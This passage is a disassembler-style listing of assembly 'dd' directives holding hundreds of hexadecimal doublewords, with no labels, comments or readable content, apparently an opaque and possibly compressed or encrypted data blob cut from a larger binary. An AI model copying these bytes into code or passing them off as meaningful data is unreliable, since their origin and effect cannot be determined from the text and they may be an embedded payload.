7F02E6D4h, 0A96C004Fh, 28C61C5Dh dd 7A00ADD2h, 0AADE20C4h, 8048B1h, 6B1D0ACDh, 0E79D5B5Eh dd 0D2603DE8h, 54109C20h, 43F0FEh, 0C565E573h, 6D88933Ah dd 0C400EB79h, 0D1AADC5Ch, 79EAF6Eh, 0B0C69452h, 2207E3B7h dd 0DEFAD9h, 9F2A0Fh, 3E301156h, 0CF1AB2ACh, 0A2C9FF07h dd 0DE60EAC4h, 0A8822Ah, 2D363F8Ch, 3BC5D299h, 7FAAEB0Ah dd 46545C19h, 0BA120031h, 93C775Dh, 3D87AB5h, 0A7754D89h dd 99291F88h, 6596474h, 86026718h, 1D9E3AD3h, 808BE3BDh dd 1404BC27h, 90A72110h, 38C11ECh, 0F5BD62D6h, 77E1CE02h dd 0AA0880A0h, 7E60C9EAh, 71C016A9h, 0ADCE0F59h, 0DF405263h dd 862961E0h, 66BA78C0h, 98095A1Ah, 48DE0A18h, 80B0CD43h dd 2B2500Ah, 81682E5h, 62041C9Ah, 3280DFCBh, 3A80DEh, 0F307FA7Dh dd 0F09A51EEh, 3BB38800h, 0DD470BAEh, 0C01F3FA2h, 1B9EA9Ch dd 8F4AB051h, 0DA5F60F1h, 0DC0052FCh, 0B699CFFEh, 5862C0h dd 832BE2F0h, 390A928Bh, 6B00F698h, 0E9FA5A2h, 1A06D5h dd 0C5B69789h, 5B419BABh, 7423C009h, 507F8083h, 0E2C72271h dd 55FA01BAh, 2DDA5E07h, 0BE5560C9h, 513FF274h, 0F1BB80EFh dd 0CE960760h, 0DC1A0080h, 9B393322h, 0AF00AE03h, 9E17A3E7h dd 0C9A0F6h, 4154B34Ah, 9427D123h, 0EA18A960h, 24976044h dd 189F52C3h, 907C214Ch, 0DEA0A801h, 969ABBC1h, 2C30FEF8h dd 0E0CFDDDh, 7D06708Bh, 0F19821B7h, 5F674400h, 4A8D1805h dd 87AC3A36h, 24B3E000h, 611A92C7h, 0A57E9F17h, 18466600h dd 1DF3EDh, 23428633h, 0F508E769h, 9697DC00h, 0DFB45548h dd 1CB7E0E2h, 0FE7EA0FDh, 3F740F00h, 33C3CB02h, 5B883Bh dd 6DCA0C2Ch, 0C83BC0h, 0D039B4ADh, 809DAA1Ah, 0F2899201h dd 1227CB43h, 7C31B0E4h, 0E99A00E6h, 0FA3EA2A8h, 34013C59h dd 0F34E4F55h, 28E9D6DCh, 0C0CE70D5h, 7DF880BFh, 0E5930129h dd 64278F0h, 0E118157h, 866A9882h, 3EA1A8E4h, 74DC9Eh dd 0E5907D07h, 8159A569h, 4A260600h, 6238AA23h, 401C60DFh dd 0B5D1155Ch, 0A0900B00h, 78B25634h, 18E50099h, 0EE16129Ch dd 0A303CA17h, 77FD32CCh, 0B945F00Dh, 2C55079Eh, 30E3E03Dh dd 0CD941BC0h, 302EA6E2h, 3DFE85h, 0DA48897Bh, 44B8B0Ch dd 0AEDEEF5Ch, 0C87280F1h, 5203C265h, 6766BDB9h, 0E5D6A7FAh dd 551C0220h, 0DC05FBC8h, 9B6E9080h, 821EF42Ch, 0D780F21Eh dd 42506221h, 78BB00F9h, 101AF70Ah, 64002BD9h, 0C58D5F38h dd 748E1DDh, 1BE7EB1Eh, 40FD6F49h, 60B6959Eh, 61035363h dd 5BEC40D3h, 0C0EED426h, 2C0E4E2Bh, 0A54BB300h, 0DC455337h dd 0E4EB002Ah, 0C933C424h, 86E2319Bh, 4E84D100h, 0B306DC67h dd 0DAE8A0h, 9C7B6CF4h, 9EEC86ADh, 0CCC53000h, 2D1C327Eh dd 148300E7h, 6527479h, 8700B15Eh, 270236C4h, 55C61Eh dd 2DA26794h, 0CDF5B978h, 9A009171h, 0FE067338h, 0F3F5Ch dd 574EA353h, 19E1ECABh, 9598AA00h, 15E2724Ah, 2880E55Fh dd 20DB41Ch, 300022DBh, 0C2F38DB3h, 0EAF13673h, 907879h dd 0E2F7444h, 0E66568D8h, 0AEBD3Ch, 0A27A875h, 3736C0Dh dd 0DA146F22h, 8ABB9B0Eh, 6B501288h, 8FDE7D00h, 0A40B0F75h dd 952D00A0h, 5D0A838h, 39E62009h, 2F6AA701h, 0E352637Ch dd 13CAECh, 372D49E2h, 7DB7E131h, 27C0C00h, 0B236988Dh dd 0BB43058h, 0A33DE4C0h, 173A238h, 50CBF6FEh, 76209728h dd 409E0E52h, 9F456126h, 0FC8C40FFh, 8B80611h, 2C8B1D00h dd 7B354587h, 5E320E6Ah, 0B10128A5h, 0E8E20830h, 0C730867Dh dd 0F85CC06Eh, 19961E9Fh, 0CD420C72h, 39009B19h, 64778788h dd 1784Dh, 0E4655F34h, 0C8543D3Ch, 8293391Dh, 0E0D0050Eh dd 0FE7C86A4h, 0A1A20747h, 9701DE5Ch, 34D470CDh, 0D302A7A5h dd 41D15597h, 0CA00570Bh, 0FAFBDF56h, 0B9103403h, 0AF638EF3h dd 0AE2BC900h, 0FE350060h, 128FEFD1h, 51001FB9h, 0BC53DA21h dd 0B2C11Dh, 0A5CE8ED5h, 71B91994h, 800720EAh, 6864922Dh dd 0A25CD890h, 40B00E3h, 4FEC0533h, 800F2535h, 0E22EFD83h dd 40D8F01Ah, 9E9DDh, 0B439BFD9h, 0F61F03CEh, 0F85A2C00h dd 0E0DA26F2h, 330D22Fh, 0AF847F91h, 0F0D94100h, 2D13FCC0h dd 0F86402E0h, 0CD973604h, 0BF1ACE83h, 0D78B8190h, 9200BE7Eh dd 319FB344h, 0F34CEFh, 0EC04F53Bh, 0B70DE295h, 58A3CE30h dd 1CC5DB7Ah, 837CDA85h, 0E801C081h, 790076A3h, 0BDBA4464h dd 0DD4621h, 226D8FB0h, 0C78C8908h, 84D77430h, 0A0AE1EA4h dd 26813154h, 23E155B6h, 0E2208054h, 0D558D3C1h, 96B0D201h dd 73DA0C52h, 878AD4h, 0D775B74Ch, 29625671h, 7AD82D50h dd 0BE01771Dh, 5F6685C0h, 1F5E2123h, 418CE8h, 8FF65610h dd 0B000E688h, 4E5838CDh, 0F4EF05h, 0BAD9FB8Eh, 1974E209h dd 17777300h, 0BEAAAB9Ch, 82801FDFh, 0EF93C19Bh, 0E4B95F57h dd 3E006FD3h, 65AF5943h, 977B237h, 7022F8A4h, 0C0C72B87h dd 0D8A6C6D6h, 0C4A71800h, 0FE745524h, 0AA1D1CAEh, 2BCB4092h dd 7E5F4388h, 0AD065E0Fh, 0C6A2407Fh, 0EA4E46A5h, 8DF10067h dd 0E03695F4h, 7300E32Bh, 41890D68h, 0BD19EDDh, 0F4170E30h dd 0B7D29D00h, 0D00136D3h, 0F5F78BA0h, 0F1402EF3h, 2CB6F60Bh dd 17004CE8h, 0BF46002Ah, 0C48A6F45h, 59953Ah, 0CA5082F7h dd 418BC3h, 29D7EA15h, 3C8EA222h, 6843D300h, 5324E113h dd 1D230082h, 92389877h, 2B008C2Dh, 0FFCCA167h, 0E8C34Bh dd 942F17ACh, 0B10CD14Dh, 469F7100h, 0F5DAC415h, 7120E352h dd 84AD0085h, 8C44E198h, 0DE072F27h, 0A1E27F5Fh, 428E590h dd 86AF0024h, 1B5A63FFh, 36E8625Ch, 0B34E0C7h, 0C6BCD6C0h dd 9A4100B0h, 7DE3DDD8h, 0E200BA1Eh, 9EDC988Bh, 54646A2Fh dd 60EDA0ECh, 793CF196h, 7D00D34Dh, 9072E1F3h, 4A15B274h dd 65FC36h, 0CA4D93E2h, 14369h, 0B36E25B6h, 0BDD9F7C6h dd 0AFF28D3Eh, 79BF894h, 0A716C584h, 47F74Bh, 9ADA8B4Eh dd 933CFD1Dh, 0CE3DD000h, 498399h, 0DD4B0B23h, 0D4905A1Ch dd 621AAD00h, 29D192F7h, 5874007Eh, 28A8240Bh, 0B000A36Eh dd 0CC05132Ah, 78A0C9h, 8210372Ch, 2324E2EDh, 0BD7BD304h dd 0E2871959h, 90F45D70h, 714C0F4Bh, 6A40FC65h, 0A8222CC1h dd 0D634990Ah, 7E2FA03Ah, 0A940033h, 9327413Dh, 381C7609h dd 95680170h, 99811B90h, 6BE02C18h, 9FD0E801h, 9D941900h dd 0AB1A0787h, 7A800026h, 9A45910Fh, 0C0B0CB6Ah, 30AC500h dd 0A2D5A9D4h, 92470023h, 0EC5307ACh, 201295Dh, 59C4CD1Eh dd 80FC8198h, 0B26A0022h, 0F8BF9C2Ah, 0D1036B26h, 5FFF0227h dd 5D0BD024h, 59A802ADh, 0BCC02AC7h, 9E45A160h, 0E40076E8h dd 8748F4A9h, 2C850BDDh, 0BB50EDh, 0A18182ABh, 0F201775Eh dd 1DFBB680h, 0AE06030h, 958B004Bh, 0CD2C64D5h, 1C48C28Ah dd 0EB2D0027h, 5AED5E81h, 0E02E0C7Eh, 15A02977h, 0D8F33Ch dd 1D4AEC74h, 0B84DC563h, 0BD803977h, 48B0D080h, 476C64D2h dd 32103E01h, 0E9867CADh, 1E8904E4h, 0C018B5BBh, 0E17946C9h dd 0B007051Eh, 5DBFA9D5h, 0D32D6A90h, 986B0733h, 50A73F24h dd 0D64F6E9Bh, 0F04E8002h, 875F8641h, 0FFD00340h, 63E61768h dd 90DF3155h, 0AADD10B8h, 73EB5600h, 94171916h, 412301F8h dd 0C2C4A90Ch dd 0F43960DEh, 0BA844A00h, 0B6AF4C6Fh, 322E00D1h, 75A349EFh dd 3E7C541Fh, 0A100C975h, 15551AB2h, 0E2254D04h, 0C3E700CFh dd 0BE560EC1h, 0B50028BBh, 94AF9135h, 13F22BCDh, 40FEF081h dd 0B76D050Ch, 5C019E84h, 8049A38Ah, 0A0210DD9h, 0E20923E8h dd 810E0060h, 0D86F74F8h, 88269124h, 3800E0D7h, 0AB7A06B2h dd 840E00DDh, 44F78912h, 6E00A74Bh, 0D149A976h, 3DD7BDF9h dd 0F75CDDE3h, 0C0265000h, 0F47A6F5Bh, 0CBABC203h, 88C535D8h dd 0CCA761h, 24838222h, 0B2DA9F1Ah, 0AE89D900h, 0D410290Ah dd 26E22586h, 0AF1F3850h, 9700E3D5h, 0DC48C94Eh, 8E390172h dd 88B07028h, 2012FD14h, 5B7C3D14h, 0A9BE3Ch, 0D322A02Eh dd 0DA7398h, 59E53CBBh, 60F5725Fh, 80F88704h, 4CD0B357h dd 280842h, 2DC2EFECh, 0DC01584Ah, 0B7FD7405h, 0EC0B8F80h dd 0E1D88045h, 44136Fh, 9106332Ah, 0F1D583D1h, 343F2003h dd 0F9C978h, 76F6DF78h, 26044B64h, 55125FF0h, 0BEA8527Ah dd 199CA318h, 0DBE8B9EBh, 138538h, 1DF6A21h, 99DB40Eh dd 30AA59E8h, 0EB1F3880h, 191D42B0h, 288777B1h, 82A1A7FEh dd 0CEC03785h, 279E0FAEh, 2E01A31h, 0C89B0C6Eh, 0DF1BE500h dd 0EF092B6Dh, 31300C9h, 1C8B911Dh, 36E4B553h, 0B9162400h dd 0AF18904Dh, 1D9C00CFh, 20E21C2h, 0E000E7ECh, 8DA4E285h dd 8CB7A3h, 122F0C4Fh, 1119EB05h, 8BDBBA00h, 63F5BD23h dd 26440021h, 0C95CF13h, 7F0010F4h, 0FBC3D81Dh, 0B3172Ch dd 3508147Bh, 30EC0BEEh, 3D254300h, 0E8D9D753h, 3776051Ah dd 834E1B74h, 5888E19h, 1600FA89h, 141C50A5h, 7CF09F0Eh dd 5F7D69h, 702D04E8h, 0DBB2793Dh, 4D782300h, 3FF74183h dd 0E9100075h, 0CF8F3ABEh, 6E3CF213h, 76B780E6h, 0EDDA6FFCh dd 20AA3E6Ah, 7541E2Bh, 0C072538Ch, 7E4E31BFh, 7071F200h dd 0F0BDE8BEh, 0FD10397h, 0EFFDE926h, 1E06D6C8h, 0C49CF100h dd 417C21E6h, 0AE530074h, 0B356D2ADh, 7D00EEA8h, 5FE81693h dd 16A5EF69h, 3CB7DAh, 40011505h, 14007E66h, 9EF8A898h dd 164B026Fh, 9F0383h, 4F0AB2ACh, 122C3646h, 5939E982h dd 5840D3F8h, 48CC046Fh, 7F650038h, 0F3F99A89h, 0C0009728h dd 6E4DAFB0h, 130C3180h, 41F40Fh, 0DE47A5B4h, 3D0066FBh dd 6A36197Eh, 3A378E8Fh, 0B28F0A01h, 0C4E2588Bh, 9A4362F8h dd 7E02058h, 0EAF1222Eh, 0E4123D7h, 6820EF9Eh, 7792029Fh dd 54870C0Fh, 28069163h, 90DF6A1h, 1C8E0040h, 57C4F42Bh dd 0A3E2D28Fh, 0C2000FE2h, 221EA28Dh, 0DBAFFF5h, 378B7D98h dd 0C22CD0A8h, 91E54705h, 0C057F30h, 2C0003ADh, 0C59235ABh dd 345B0020h, 0A50438B5h, 0AE780EF8h, 0DCB7871Dh, 0A39759C7h dd 492792F1h, 0EC5D70h, 0AAB2BC72h, 0F4AFE1A7h, 4BDB6500h dd 9395526Eh, 399C2C05h, 0BC14804Ch, 0FF6B2E9Dh, 0C55C5400h dd 0EBC085A0h, 41680020h, 0DCD309C4h, 9F02E410h, 94FCC7CEh dd 52BCC089h, 760300E0h, 26EDAE32h, 460E0907h, 0A079D2EAh dd 20BD6A97h, 823A03F7h, 0B71DF442h, 40576892h, 72D54994h dd 900B3CA5h, 85805A3Dh, 9853A1FFh, 0CC7209D8h, 8014BB3Fh dd 0B956F675h, 767B69h, 7A2413FEh, 0E63383E5h, 6AD87C07h dd 0F610E321h, 4CEC94h, 9D786E17h, 93E95286h, 6B442317h dd 0FD99D441h, 804384E0h, 53BD320h, 5F9FA419h, 24C45E7Ch dd 0AD0801C9h, 7107703Ah, 0B8ABE495h, 0C0AFBA0Bh, 0A0B98FAEh dd 0AC06C610h, 4C6A002Eh, 4905285h, 0F00E0B9h, 0FE798877h dd 0D70120h, 0FD4B86EAh, 2B05A52Ah, 0A5CAE05h, 0C8C03839h dd 95B301h, 91F6BF03h, 0BA8C9C80h, 0C8407301h, 0B41CE4D6h dd 0A6C2F4h, 93A0D860h, 77A8C96Ah, 0C6003EF0h, 0D4881663h dd 0E0983194h, 8C380E9Ah, 92A96FB0h, 490CBD00h, 7DFA5045h dd 0DEC85Ch, 9C3AD598h, 1487EC2h, 6AC4E2A5h, 0D470FE6Fh dd 0C001DD2h, 0B0110838h, 0F21C1718h, 41630E28h, 0E78721E5h dd 4A1040DAh, 9C03427Fh, 52DAEA7h, 0E309E0C3h, 15F10072h dd 0C17F6222h, 89007303h, 12862EF4h, 5396E6h, 6F83BF65h dd 17D39584h, 55F68506h, 668C73h, 61283C25h, 5D2EE52Ch dd 2978141Eh, 0A27E6D41h, 0BD52F84h, 3BB726E0h, 0E500CD4Eh dd 3CBD1665h, 0C609981Bh, 80F3118Dh, 0E91A88F6h, 0E7530FA2h dd 74804193h, 0C008FA73h, 8C50C413h, 0CFC84400h, 1F56AC39h dd 80C1CAF4h, 9CE97560h, 1148C263h, 8C17005Fh, 1849D990h dd 2B7E0099h, 518A12DDh, 541D11EDh, 0D289363Ah, 0DAC780B5h dd 0D7FAE1h, 0D8736C09h, 0A21DF962h, 0C62B2C00h, 0C1515A7Bh dd 0D5D60737h, 40CB25BAh, 0C99C8731h, 90423200h, 0DF5F9873h dd 0DEE300B0h, 241D17BEh, 0F07BA3Ah, 0C4F177EAh, 0D7CC2CD0h dd 7FC60029h, 7822B480h, 503FB0A9h, 92238012h, 8F6F54C3h dd 0D2720075h, 0A54495EEh, 9B90E420h, 0BE933200h, 0C1EF2304h dd 3C5F0170h, 3DE92785h, 0CE36FC40h, 6E2D8900h, 0D0BA9516h dd 0EE980026h, 8C56BFC6h, 0D1240E2Ch, 0E0064333h, 222874BEh dd 7A42D267h, 34A82075h, 7597A411h, 2861154Ch, 59F24Eh dd 81352612h, 44B408B8h, 0C06122C3h, 31C8BC51h, 479A5407h dd 0A80932h, 7D995F36h, 3A44012Ch, 6211FB10h, 2A2988AAh dd 67938C5Eh, 8A2294A1h, 0C9A06789h, 288EC6BEh, 637DD04Ch dd 8216828h, 0F79A2AF1h, 28F0D21Fh, 1EFFC9h, 0B3511FC8h dd 8DB52B9h, 0CB864600h, 7E721A8Eh, 65C500CEh, 0B8BBFDA7h dd 0EE019E66h, 0D95A55CCh, 90CC0CF7h, 0E63979E9h, 498F0022h dd 20051D7Ch, 0DA0085C4h, 0C9D81FA1h, 0EBB6A9E7h, 0AF32180h dd 0FD0B5795h, 50067209h, 8A7D8076h, 381B4874h, 8900256Ch dd 57B6A4ECh, 0DC0356FAh, 0F1991571h, 0A394E07Ch, 0E971C6h dd 0E1EDB0Bh, 4F0CA9D0h, 8B08400h, 166F5FEFh, 0B651003Eh dd 7E6E5A66h, 54F4A578h, 72DFC200h, 8BE696B1h, 626D0024h dd 0D36EC445h, 0B9007B75h, 3961F8A3h, 958FA1h, 9D1CF84h dd 4EEC2B67h, 6B631426h, 50B37D00h, 2E237CAAh, 0ECED6Ch dd 8F58AB82h, 0D70E9C3Fh, 81F4E92Bh, 27CFE77Eh, 0FCE04ED9h dd 67750047h, 0FDD9A86Ah, 41369E1h, 3B004311h, 66997C7Fh dd 753976C8h, 0DF1300E0h, 93CC45Ch, 0E0B0F03Fh, 3A28034Ch dd 0D18A49Fh, 7B2DA100h, 1FE064BFh, 1E9771h, 82AE14CAh dd 6E1CFDF8h, 33802843h, 4030C164h, 0DF850280h, 0B9EB6D57h dd 8BC2A540h, 0A45A1000h, 9B459517h, 0D8B10114h, 1CBCD7BBh dd 0CA28C06Fh, 0F089E300h, 29754D73h, 6A5E009Fh, 419171C2h dd 7F00FFF6h, 56C635FCh, 0F0D24DAh, 0E1BC8159h, 23E8C0DCh dd 742619D5h, 0F4388600h, 551C253Ch, 6A040008h, 570A1763h dd 3A00E092h, 48E3E665h, 0D3EBB7h, 0F98C5A8Dh, 205EBBE2h dd 18B1DC00h, 0E837297h, 0CF0C2454h, 0DE63037Dh, 9EC1961Ah dd 209440B9h, 0A054E90h, 6887B206h, 64A028C0h, 75DA1FC5h dd 0C02A1E93h, 0ACDB03BFh, 0D800589Ah, 52317C2Fh, 3A8661F9h dd 0B500EAB0h, 128AF8AFh, 8270AC42h, 921B1C03h, 0B130BD24h dd 0F5D19FFDh, 7EE7A8D8h, 79940059h, 0A4B96D8h, 0CA0069E0h dd 3F1078AFh, 3C31B797h, 5C00EADDh, 0EF2A21FBh, 7200944Fh dd 0E5AB094Ah, 7E89E0Fh, 3A34BBC9h, 43001BC4h, 1CA9C613h dd 0A3ECE00Ah, 661284FFh, 0B80A7804h, 94088Ch, 61FABF8Bh dd 350F28BBh, 0ED095400h dd 5A8471CFh, 0A8490007h, 3B45017Dh, 0B101E7CCh, 0D9DF43DDh dd 97C07CF2h, 31E80035h, 933F25F6h, 600F41DAh, 0C07ACF2Bh dd 4A3A03B6h, 116A0E07h, 0F6EA3FF1h, 84D00B3h, 4438820Dh dd 9700C074h, 0B1A63D0Bh, 73EBE6Ch, 6808BFE1h, 20FF8025h dd 1B0090BCh, 650417EDh, 272E532h, 2E676AECh, 56C09CDAh dd 74003FA2h, 7DA0FC1Ah, 2FE906h, 4C20C956h, 231E0F2h dd 48214709h, 2324988Ch, 0B5C81316h, 0B8440026h, 2D3AD424h dd 45AF3D00h, 5D5C1C39h, 4E150F48h, 0CA04912h, 9D2C13A2h dd 0D8F83700h, 0FB79175Ah, 57D705F0h, 0C0692061h, 7CA8A0D9h dd 0EF418900h, 2C98515Bh, 38317EC9h, 3C00FCBDh, 66F2371h dd 4700F06Ch, 0F7899497h, 1CD61607h, 4EB0807Ch, 18A06ABBh dd 0CA2AC176h, 0B97D5300h, 0D411A34Ch, 0F5F00FCh, 75C2E68Eh dd 5E1EB835h, 0C9C06889h, 0F649F945h, 9995093Dh, 6B805146h dd 0EB0F8EAFh, 34211600h, 0D585E3EDh, 1ED900DCh, 68CC76FFh dd 89005343h, 3CEF6BBEh, 0D78C08h, 5CE4E17Ah, 0FC4507F8h dd 2250CA00h, 0FB4B23F9h, 0A4120037h, 8FB2CDC0h, 5900112Eh dd 0A045F8D5h, 0E035D7h, 0A36083F3h, 660AAC78h, 0A7510700h dd 0D93694C2h, 0F6330015h, 0BE1B7C5h, 0D6EA1402h, 0CE2F9200h dd 5E5229CFh, 0A40C03D3h, 4AF6767Bh, 318561D0h, 5A081500h dd 0B181BCF8h, 945500BFh, 6866DEBh, 809A8370h, 887AA01Eh dd 9A514080h, 0F27FF829h, 0E68A58F2h, 9221F307h, 3F17B07Dh dd 53033298h, 7AD4B5BDh, 66A6806Ch, 0E9400DAh, 50C5ED23h dd 88004463h, 9B4080F7h, 0FA031FC7h, 0ECD30672h, 100423F8h dd 0B9A68100h, 8F8DF6A1h, 0BAC01E1h, 726F17C4h, 0EF30E88Ch dd 9815103h, 0E87E88D2h, 169B38h, 691C0F1Dh, 56E1D1F9h dd 0F8F3EA00h, 7F8E519Eh, 52370074h, 8902A014h, 8C01A585h dd 0BDA2DE68h, 36E43D13h, 58860142h, 0F4E65B37h, 0DCC42160h dd 1B09964Eh, 8095CC4Ch, 0B420FC27h, 0EE8205CEh, 80EB06C4h dd 2D2C7C83h, 4AC3C905h, 0E080D0E2h, 97B581h, 3D09C747h dd 0E477D445h, 8708E507h, 86D096B4h, 18C5849h, 39B8B36Fh dd 0CB242D23h, 80DBC2B9h, 0DEB2EA28h, 98A0A5F7h, 97BE0079h dd 244920C4h, 0A300651Ah, 2850859Fh, 3C2A09Ch, 95730D4h dd 80BCC08Bh, 0F29EE0FDh, 0D7744BEAh, 7107EBF6h, 9560AF61h dd 0DADF1CB0h, 1ECE0090h, 4E47E9A0h, 29005EABh, 6615A656h dd 7CD0DFCAh, 3BEC1FE0h, 1162C342h, 0C5D8A404h, 0B77CE788h dd 564D9813h, 63BE3407h, 0E93F6h, 9EE9CCC1h, 768CECBAh dd 54D36600h, 41CB8821h, 0ACCF0F64h, 9BC006E5h, 452E1C73h dd 0E0093D00h, 0E210E9DEh, 2DEE4Bh, 94D01D19h, 0FC43E496h dd 6979F200h, 0CCB3C9A6h, 20634C71h, 52DC1C01h, 0D8CF2CC6h dd 6C0099C2h, 3C797D15h, 0FA414Eh, 0E0D10C9Fh, 516ABA85h dd 0D7CFD00h, 372C0414h, 0DCA70334h, 78EB7F21h, 0C9025CA0h dd 0FC6F801h, 0B4128650h, 0D2EDD0F7h, 14BE7B25h, 8CAF608Ch dd 0F39AE401h, 0FC8BDEC2h, 5D0040F2h, 267F04D9h, 4E62C0h dd 0FCE9B3CBh, 63873482h, 0F6380900h, 0D7A24B6Eh, 6771000Ah dd 358E1323h, 3200624Ah, 1EA0446h, 46BF2B3h, 0D7CCB9CBh dd 0F000CE9Ah, 8C91F725h, 52007898h, 87BCE00Eh, 0F09CCEh dd 784E1071h, 0CF33CB9h, 5E0BF275h, 805A9B14h, 9FC82093h dd 74DD0077h, 4941A534h, 0AE4CF37Ah, 9F1F2815h, 0E4E03907h dd 0EA012909h, 54F82CC5h, 0EE06075Eh, 0D0A912E9h, 0CAD61A5Ah dd 4AD17000h, 0D2B736E5h, 0BA7A003Dh, 0D06981B9h, 5403CC6Fh dd 76E04AC6h, 9E109021h, 68BA008Ah, 17C1B30Ah, 0ED3ACFE7h dd 0B87D8014h, 1C5EFA9Bh, 97920267h, 38C37FD4h, 0D8C0FDC2h dd 0E700A755h, 0D2C247AAh, 2E8597E8h, 0F6ACBh, 7F7D6E57h dd 9C1653FEh, 4B03BCC4h, 80A56707h, 0C51342h, 2C59D552h dd 479C3C4Eh, 1220E800h, 0B1ED1565h, 49B90004h, 96E20919h dd 0B4008669h, 35A510F3h, 37B0220h, 8DD13F42h, 39CE0BA7h dd 53C4D400h, 0CD8E1B98h, 46DF1C59h, 6404C327h, 0A0E7C0B5h dd 3FA6F7AAh, 36A0F300h, 5295FB72h, 3932002Ch, 0E0DEA343h dd 6103BA7Fh, 0F2CE3E28h, 5B06B08Dh, 1E2909BFh, 300C649h dd 82FFF7F8h, 37206A00h, 9811EBB3h, 5C2B0045h, 24F3ED55h dd 0FF00A4B4h, 7F5F88CFh, 474302h, 4192937Eh, 9CF36682h dd 2AAE2200h, 51238EBh, 0F4E5006Bh, 274EF67Eh, 761CF2BEh dd 4F40F745h, 4696317Bh, 0D5150755h, 109B09DDh, 2BE0C598h dd 7F486A01h, 25C3629Ah, 0EAA4DCCh, 0DED421EAh, 0E0B0B520h dd 0D50EF216h, 80983407h, 0DD276AC1h, 0E6E50086h, 0FD8EEC67h dd 891F2096h, 0E2DF42CEh, 210AB883h, 1450F7C3h, 1F7163h dd 42DDEAF4h, 0BD1747D7h, 0A1C2EF28h, 7963EC00h, 67D8C19Eh dd 1F6B0027h, 4257280Ch, 0AA0523F5h, 0A33FC037h, 0D0E8C80h dd 11510062h, 36932144h, 1204FA66h, 0C1F7D90Fh, 0C3CB1BC0h dd 1E6E0727h, 70F83FB9h, 7DD81DFFh, 3FEC48h, 0FD2AABF6h dd 31522F1h, 2333EE5Bh, 0D1FB5460h, 6943AF0h, 4D3EBF00h dd 17A0524Bh, 0E35100B3h, 0D08A7D19h, 72F8755Fh, 0DF66CA00h dd 5E56A30Bh, 0DE6D00F5h, 3B506234h, 7E0011E6h, 0EC280F4Fh dd 9EDF26h, 25BB64D9h, 7F17B588h, 0DCA1F301h, 32D3C039h dd 0CD5BBC40h, 1FE60222h, 131479EEh, 28F6FC40h, 0A3A28404h dd 0E880D5C8h, 0E6FEDA7Ah, 0D66E60B6h, 49EE1AF1h, 0F49D9901h dd 6195B5D0h, 45E5C0C6h, 2C2601EDh, 727BF5FFh, 391C0F4h dd 7CC62900h, 5692F91Ch, 748A0F48h, 0F84099BAh, 335D6089h dd 58404300h, 0CF01862Dh, 0B43C0F6Dh, 0B9408408h, 0C7E21559h dd 0B577F40Eh, 5A7FA042h, 14A0E19Eh, 0BFFF232Fh, 1D1C7100h dd 2266BF11h, 270BCDECh, 80F58619h, 62810C55h, 0D9071EA8h dd 8B7100E7h, 8D6E52C2h, 2CBF363Ch, 0A41EFCD3h, 2038DA00h dd 0A61EB5h, 1116CD6Dh, 480F2291h, 7396BB03h, 80552A9Bh dd 6BD2F5h, 0DDB28F0Eh, 3B145C19h, 895B8401h, 0FBFD958Ah dd 0A667E8h, 64D6EC8Fh, 0A3B2CEE5h, 7C9F0E00h, 0D4792097h dd 0FA421634h, 0A5340038h, 0A9E24AFh, 58270706h, 1FA06F4Eh dd 508270h, 65620995h, 6B0025B1h, 44330519h, 0B55416h dd 21DF57F3h, 0E549F9A4h, 0C5A6A300h, 385DD78Dh, 3CDA79FEh dd 41008C80h, 71F4ED7Fh, 3CF08B18h, 4F7D9502h, 40AD8901h dd 48F9173Dh, 0BB1EBC59h, 0F0F7E39h, 0BDA07814h, 477977CAh dd 804E758h, 0DF8CDDh, 75D1323Ah, 1200E02Eh, 61C91A26h dd 77F19172h, 1CDA73F0h, 0CF5C4096h, 7FC022A4h, 107CDEF4h dd 38099974h, 7F9F0F19h, 17B6AD80h, 7E00F783h, 0C6A8CAB5h dd 8976D5h, 0E66F82BAh, 0EC634F0Fh, 0E5C85Ch, 52E85B02h dd 1C5D0D1Fh, 58D2C4h, 32F3BD7Fh, 0F90E5F53h, 203D3BDDh dd 64F16D0Ch, 25F8A052h, 699A00B4h, 6108C1D8h, 3D079B05h dd 158B9498h, 0C9A18A31h, 21AFBA80h, 27F37043h, 1FA86000h dd 0D4AA5012h, 0DDC9000Bh, 90CFD952h, 4C002FA2h, 7984047Ch dd 4C587F33h, 0A10006B6h, 56D26BFEh, 190078C4h, 0ABE4F606h dd 0F8678248h, 4C5D002Fh, 61ED6D14h, 6A24B65Fh, 0D0E101Ah dd 48AD4089h, 1DBAFC21h, 91A2D6h, 0EFE3679Bh, 8200CF04h dd 0F33B3F22h, 8B45B9h, 61AF2CD6h, 0DF6FB0E9h, 5D50B800h dd 960ACB0Bh, 56591E9Bh dd 39F4C05Bh, 7320E75Ah, 4BB4BE00h, 1C3479E6h, 6CB10FC5h dd 7A812666h, 40D93A33h, 5E3BA0ACh, 2811EE0Eh, 606112ADh dd 0C209582h, 70E4CFh, 61D326E7h, 10DDF819h, 0F352D807h dd 6E80E968h, 869D1Ah, 275C73C3h, 70CDED74h, 2393FB0Fh dd 92A856Dh, 8A212D87h, 0B6C4BEBDh, 0F81D50ABh, 0F0410763h dd 20DD26B7h, 23084562h, 0A1790900h, 7E24E50Dh, 64D24C66h dd 0E06BB202h, 4BE1588Eh, 3FCAC44Ch, 81070571h, 0B365410Ch dd 95B6B050h, 0E0FA00AFh, 0E36EC3BFh, 0B91E4D94h, 5FAE721Ch dd 0D401650Ch, 601300BEh, 41C35368h, 98E866C8h, 0FEABC00Eh dd 0DFF940F6h, 1D06E38Bh, 0C0038552h, 0CC42EBE9h, 0F701A85Ch dd 0C658C75Ah, 13E0691Bh, 9D65072Dh, 0D34A5149h, 9F80BD7Ch dd 8F0105A9h, 13CDA0A2h, 0CFC0C498h, 16CA0B3Dh, 9601E0A4h dd 0DCCCF048h, 18000D6Fh, 0B073761Dh, 17C6199h, 0C9C8B50h dd 405FC73Ah, 0F26987D8h, 9A64A603h, 3EAD7B7Dh, 1F401599h dd 5388061Dh, 672A9000h, 93A9D7h, 4E1A2C10h, 0EECAA4B1h dd 4F00D2ECh, 0B2571932h, 9060B682h, 49150EB0h, 0FC72745Dh dd 0AB800035h, 52B5A1C4h, 5B830F30h, 0A646482Dh, 280030D0h dd 0ED3686D4h, 0BDDA08h, 0AB602C02h, 0D2734E5Ch, 0DC4BF900h dd 53AE067h, 23430080h, 54B98220h, 210EAD51h, 80BD9EC0h dd 0CC8822F3h, 598707FCh, 9F61E730h, 49701F62h, 3190F443h dd 0ACE4672Dh, 0AB297303h, 0D8C3F3D7h, 9F560Ah, 0DA25636Bh dd 7BA10EE7h, 8D00E579h, 0B9F785B8h, 69E1D8h, 0E25C3D22h dd 0EC507B79h, 3E58F0BFh, 